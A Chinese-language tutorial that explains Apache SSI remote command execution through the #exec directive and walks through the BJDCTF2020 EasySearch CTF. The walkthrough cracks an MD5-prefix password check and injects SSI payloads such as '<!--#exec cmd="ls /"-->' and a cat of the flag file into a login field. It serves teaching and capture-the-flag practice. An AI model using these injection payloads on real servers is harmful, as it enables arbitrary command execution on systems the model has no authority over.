Apache SSI远程命令执行漏洞

server/2024/11/17 3:38:02/

什么是SSI

Apache SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

从技术层面来讲,SSI是一种在静态的shtml文件中根据需求插入内容;

SSI其实是一套为web服务器提供的命令,指令的基本格式为:<!--指令名称="指令内容"-->

常用的指令:

指令名称 指令作用
#include将文本文件的内容直接插入到文档页面中
#echo将环境变量插入到页面中
#flastmod和#fsize#flastmod文件最近更新日期。
#fsize文件的长度。
#exec将某一外部程序的输出插入到页面中,可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi(cgi为插入到CGI程序中)
#config指定返回给客户端浏览器的错误信息、日期和文件大小的格式
#printenv显示当前存在于WEB服务器环境中的所有环境变量
#set可给变量赋值,以用于后面的if语句
#if创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示

 在目前我了解的应用于远程执行漏洞的指令是#exec,如果对于其他指令可以自行了解

#exec语法:

<!--#exec cmd="文件名称"-->

运用于常规程序

<!--#exec cgi="文件名称"-->

运用于CGI程序

SSI 远程命令执行漏洞产生原理

漏洞产生原因:在Apache服务器下,如果开启了SSI功能,那么就可以利用ssi指令对shtml等文件进行任意的命令执行;在文件上传时,如果限制了php上传,可以通过上传shtml利用<!--#exec cmd="命令" -->执行任意命令

触发条件

当存在一些条件时,就可以在利用ssi在web服务器上实现任意命令执行:

  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤

例题

[BJDCTF2020]EasySearch

打开环境,是一个类似登录框的东西

尝试登录一下

常规进行抓包看看有没有什么提示,响应头没有什么提示,进行目录的扫描

 进行目录扫描不建议使用disearch,这里使用dirmap,这是一个功能强于DirBuster、Dirsearch、cansina、御剑的扫描软件

扫描发现一个swp备份文件,尝试访问

拿到源码,审查一下代码

 if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '

 传入的密码在经过md5加密后的,前6位等于6d0bc1

在网上找一个脚本跑一下

import hashlibfor i in range(100000000):a = hashlib.md5(str(i).encode("utf-8")).hexdigest()if a[0:6] == '6d0bc1':print(i)

passward可以为这两组数字

 现在开始尝试登录

admin&2020666

抓包看看响应头的回显,提示了一个url直接去访问

访问后能看见回显了我们刚刚登录的username ,说明这里存在注入点,可以利用

注入方式就是我们应该考虑的,我们的思路应该还是先利用命令执行来获取关于flag的信息,并且可以发现此时的后缀是shtml,那么就存在SSI漏洞尝试进行注入

在username的位置进行ssi注入

<!--#exec cmd="ls /"-->

不能明显的发现flag的位置,也可以再单独的去ls每个子目录下的内容,或者是直接查看flag的位置

<!--#exec cmd="find / -name flag*"-->

 

 cat flag

<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->


http://www.ppmy.cn/server/32481.html

相关文章

UnityWebGL使用sherpa-ncnn实时语音识别

k2-fsa/sherpa-ncnn&#xff1a;在没有互联网连接的情况下使用带有 ncnn 的下一代 Kaldi 进行实时语音识别。支持iOS、Android、Raspberry Pi、VisionFive2、LicheePi4A等。 (github.com) 如果是PC端可以直接使用ssssssilver大佬的 https://github.com/ssssssilver/sherpa-ncn…

【机器学习】集成方法---Boosting之AdaBoost

一、Boosting的介绍 1.1 集成学习的概念 1.1.1集成学习的定义 集成学习是一种通过组合多个学习器来完成学习任务的机器学习方法。它通过将多个单一模型&#xff08;也称为“基学习器”或“弱学习器”&#xff09;的输出结果进行集成&#xff0c;以获得比单一模型更好的泛化性…

39.乐理基础-拍号-认识音符

拍号是一个分数的形式&#xff0c;如下图篮色的圈圈里的东西&#xff0c;但它的实际意义和分数没什么关系&#xff0c;只是外观上是一个分数的形式 单独拿出拍号&#xff0c;如下图&#xff1a; 然后接下来只要搞懂什么是 Y分音符、一拍、小节就可以了。 音符&#xff1a; 控…

论文《一种修复流程挖掘事件日志中缺失活动标签的深度学习方法》翻译

论文《A Deep Learning Approach for Repairing Missing Activity Labels in Event Logs for Process Mining》翻译 A Deep Learning Approach for Repairing Missing Activity Labels in Event Logs for Process Mining翻译

键盘更新计划

作为 IT 搬砖人&#xff0c;一直都认为键盘没有什么太大关系。 每次都是公司发什么用什么。 但随着用几年后&#xff0c;发现现在的键盘经常出问题&#xff0c;比如说调节音量的时候通常莫名其妙的卡死&#xff0c;要不就是最大音量要不就是最小音量。 按键 M 不知道什么原因…

安卓中对象序列化面试问题及回答

1. 什么是对象的序列化&#xff1f; 答&#xff1a; 序列化是将对象转换为字节流的过程&#xff0c;以便将其存储在文件、数据库或通过网络传输。反序列化则是将字节流重新转换为对象的过程。 2. 为什么在 Android 开发中需要对象的序列化&#xff1f; 答&#xff1a; 在 An…

后端方案设计文档结构模板可参考

文章目录 1 方案设计文档整体结构2 方案详细设计2.1 概要设计2.2 详细设计方案2.2.1 需求分析2.2.2 业务流程设计2.2.3 抽象类&#xff1a;实体对象建模2.2.4 接口设计2.2.5 存储设计 1 方案设计文档整体结构 一&#xff0c;现状&#xff1a;把项目的基本情况和背景都说清楚&a…

美国国防部数据网格参考架构概述(上)

文章目录 前言一、概述二、DRMA基本概念三、DRMA的能力视图与运行视图前言 美国国防部正在努力成为“一个以数据为中心的组织,以速度和规模优势使用数据,从而获得作战优势并提高效率。”企业数据网格服务(又称数据集成层)是美国国防部首席数字与人工智能办公室(CDAO)为支…